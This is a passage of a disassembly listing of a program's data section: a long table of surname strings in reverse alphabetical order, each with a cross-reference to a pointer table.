aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5DCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5D8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5D4o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D0o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5CCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5C4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5BCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5B8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5B4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5A8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5A4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E59Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E598o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E594o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E590o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E58Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E588o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E584o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E580o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E57Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E578o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E574o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E570o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E56Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E568o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E564o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E560o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E55Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E558o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E554o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E550o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E54Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E548o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E544o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E540o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E53Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E538o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E534o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E530o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E52Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E528o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E524o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E520o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E51Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E518o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E514o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E510o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E50Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E508o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E504o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E500o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E4F8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4F4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4ECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4E8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E0o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4DCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4D8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4D4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4CCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4C8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4C4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4BCo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4B8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4B4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4ACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4A4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E49Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E498o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E494o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E490o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E48Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E488o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E484o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E480o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E47Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E478o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E474o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E470o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E46Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E468o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E464o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E460o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E45Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E458o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E454o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E450o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E44Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E448o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E444o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E440o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E43Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E438o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E434o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E430o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E42Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E428o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E424o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E420o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E41Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E418o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E414o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E410o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E40Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E408o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E404o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E400o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E3FCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E3F8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3F4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3ECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3E8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3E4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E3D8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3D4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3CCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3C8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3C4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3BCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3B8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3ACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3A8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E39Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E398o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E394o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E390o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E38Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E388o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E384o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E380o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E37Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E378o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E374o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E370o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E36Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E368o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E364o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E360o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E35Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E358o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E354o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E350o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E34Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E348o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E344o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E340o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E33Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E338o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E334o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E330o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E32Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E328o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E324o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E320o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E31Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E318o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E314o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E310o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E30Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E308o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E304o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E300o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E2F8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2ECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2E8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2E4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2D8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2D4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2CCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2C8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2C4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2BCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2B8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2ACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2A8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E29Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E298o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E294o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E290o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E28Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E288o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E284o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E280o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E27Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E278o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E274o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E270o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E26Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E268o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E264o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E260o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E25Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E258o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E254o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E250o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E248o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E244o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E240o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E23Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E238o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E234o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E230o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E22Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E228o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E224o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E220o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E21Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E218o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E214o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E210o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E20Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E208o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E204o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E200o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E1F8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1F4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1ECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1E8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1E4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1DCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1D4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1CCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1C8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1C4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1BCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1B8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1B4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1ACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1A4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E19Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E198o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E194o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E190o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E18Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E188o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E184o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E180o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E17Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E178o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E174o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E170o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E16Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E168o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E164o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E160o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E15Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E158o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E154o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E150o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E14Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E148o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E144o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E140o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E13Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E138o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E134o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E130o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E12Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E128o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E124o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E120o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E11Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E118o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E114o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E110o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E10Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E108o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E104o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E100o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E0FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E0F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0C4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0B8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E09Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E098o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E094o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E090o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E08Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E088o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E084o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E080o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E078o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E074o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E070o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E06Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E068o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E064o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E060o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E05Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E058o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E054o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E050o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E04Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E048o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E044o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E040o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E03Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E038o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E034o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E030o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E02Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E028o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E024o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E020o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E01Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E018o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E014o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E010o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E00Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E008o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E004o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E000o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042DFFCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042DFF8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFF4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFECo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFE8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFE4o
		align 4
